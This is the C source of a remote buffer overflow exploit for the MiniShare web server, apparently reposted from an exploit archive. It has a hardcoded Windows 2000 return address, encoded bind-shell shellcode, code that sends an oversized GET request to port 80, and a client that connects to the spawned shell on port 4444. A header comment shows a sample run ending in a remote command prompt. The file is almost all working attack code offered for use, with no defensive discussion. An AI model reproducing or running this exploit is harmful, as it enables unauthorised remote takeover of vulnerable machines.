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MiniShare Remote Buffer Overflow Exploit (c source)
=================================================== MiniShare Remote Buffer Overflow Exploit (c source) =================================================== /* no@0x00:~/Exploits/minishare$ ./mini-exploit 10.20.30.2 ***MiniShare remote buffer overflow UNIX exploit by NoPh0BiA.*** [x] Connected to: 10.20.30.2 on port 80. [x] Sending bad code..done. [x] Trying to connect to: 10.20.30.2 on port 4444.. [x] 0wn3d! Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. E:\Program Files\MiniShare> Greetz to NtWaK0,kane,kamalo,foufz, and schap :) http://NoPh0BiA.lostspirits.org */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/wait.h> #include <errno.h> #include <netinet/in.h> #include <fcntl.h> #define PORT 80 #define PORT1 4444 #define RET "\xB8\x9E\xE3\x77" /*2k sp2*/ char shellcode[]= "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x34\x0a" "\x2f\xfd\x83\xeb\xfc\xe2\xf4\xc8\xe2\x79\xfd\x34\x0a\x7c\xa8\x62" "\x5d\xa4\x91\x10\x12\xa4\xb8\x08\x81\x7b\xf8\x4c\x0b\xc5\x76\x7e" "\x12\xa4\xa7\x14\x0b\xc4\x1e\x06\x43\xa4\xc9\xbf\x0b\xc1\xcc\xcb" "\xf6\x1e\x3d\x98\x32\xcf\x89\x33\xcb\xe0\xf0\x35\xcd\xc4\x0f\x0f" "\x76\x0b\xe9\x41\xeb\xa4\xa7\x10\x0b\xc4\x9b\xbf\x06\x64\x76\x6e" "\x16\x2e\x16\xbf\x0e\xa4\xfc\xdc\xe1\x2d\xcc\xf4\x55\x71\xa0\x6f" "\xc8\x27\xfd\x6a\x60\x1f\xa4\x50\x81\x36\x76\x6f\x06\xa4\xa6\x28" "\x81\x34\x76\x6f\x02\x7c\x95\xba\x44\x21\x11\xcb\xdc\xa6\x3a\xb5" "\xe6\x2f\xfc\x34\x0a\x78\xab\x67\x83\xca\x15\x13\x0a\x2f\xfd\xa4" "\x0b\x2f\xfd\x82\x13\x37\x1a\x90\x13\x5f\x14\xd1\x43\xa9\xb4\x90" "\x10\x5f\x3a\x90\xa7\x01\x14\xed\x03\xda\x50\xff\xe7\xd3\xc6\x63" "\x59\x1d\xa2\x07\x38\x2f\xa6\xb9\x41\x0f\xac\xcb\xdd\xa6\x22\xbd" "\xc9\xa2\x88\x20\x60\x28\xa4\x65\x59\xd0\xc9\xbb\xf5\x7a\xf9\x6d" "\x83\x2b\x73\xd6\xf8\x04\xda\x60\xf5\x18\x02\x61\x3a\x1e\x3d\x64" "\x5a\x7f\xad\x74\x5a\x6f\xad\xcb\x5f\x03\x74\xf3\x3b\xf4\xae\x67" "\x62\x2d\xfd\x25\x56\xa6\x1d\x5e\x1a\x7f\xaa\xcb\x5f\x0b\xae\x63" "\xf5\x7a\xd5\x67\x5e\x78\x02\x61\x2a\xa6\x3a\x5c\x49\x62\xb9\x34" "\x83\xcc\x7a\xce\x3b\xef\x70\x48\x2e\x83\x97\x21\x53\xdc\x56\xb3" "\xf0\xac\x11\x60\xcc\x6b\xd9\x24\x4e\x49\x3a\x70\x2e\x13\xfc\x35" "\x83\x53\xd9\x7c\x83\x53\xd9\x78\x83\x53\xd9\x64\x87\x6b\xd9\x24" "\x5e\x7f\xac\x65\x5b\x6e\xac\x7d\x5b\x7e\xae\x65\xf5\x5a\xfd\x5c" "\x78\xd1\x4e\x22\xf5\x7a\xf9\xcb\xda\xa6\x1b\xcb\x7f\x2f\x95\x99" "\xd3\x2a\x33\xcb\x5f\x2b\x74\xf7\x60\xd0\x02\x02\xf5\xfc\x02\x41" "\x0a\x47\x0d\xbe\x0e\x70\x02\x61\x0e\x1e\x26\x67\xf5\xff\xfd"; struct sockaddr_in hrm; void shell(int sock) { fd_set fd_read; char buff[1024]; int n; while(1) { FD_SET(sock,&fd_read); FD_SET(0,&fd_read); if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break; if( FD_ISSET(sock, &fd_read) ) { n=read(sock,buff,sizeof(buff)); if (n == 0) { printf ("Connection closed.\n"); exit(EXIT_FAILURE); } else if (n < 0) { perror("read remote"); exit(EXIT_FAILURE); } write(1,buff,n); } if ( FD_ISSET(0, &fd_read) ) { if((n=read(0,buff,sizeof(buff)))<=0){ perror ("read user"); exit(EXIT_FAILURE); } write(sock,buff,n); } } close(sock); } int conn(char *ip, int p) { int sockfd; hrm.sin_family = AF_INET; hrm.sin_port = htons(p); hrm.sin_addr.s_addr = inet_addr(ip); bzero(&(hrm.sin_zero),8); sockfd=socket(AF_INET,SOCK_STREAM,0); if((connect(sockfd,(struct sockaddr*)&hrm,sizeof(struct sockaddr))) < 0 ) { perror("connect"); exit(0); } return sockfd; } int main(int argc, char *argv[]) { if(argc < 2) { printf("Usage: TARGET.\n"); exit(0); } char *buffer = malloc(2220),*B=malloc(30),*target=argv[1]; int x,y; printf("\n***MiniShare remote buffer overflow UNIX exploit by NoPh0BiA.***\n\n"); memset(buffer,'\0',2220); memset(B,0x42,30); memset(buffer,0x41,1787); strcat(buffer,RET); strcat(buffer,B); strcat(buffer,shellcode); if((x = conn(target,PORT))) printf("[x] Connected to: %s on port %d.\n",target,PORT); sleep(3); printf("[x] Sending bad code.."); write(x,"GET ",4); write(x,buffer,2220); write(x," HTTP/1.1\r\n\r\n",13); sleep(3); printf("done.\n"); printf("[x] Trying to connect to: %s on port %d..\n",target,PORT1); if((y=conn(target,PORT1))) { printf("[x] 0wn3d!\n\n"); shell(y); } } # 0day.today [2024-12-24] #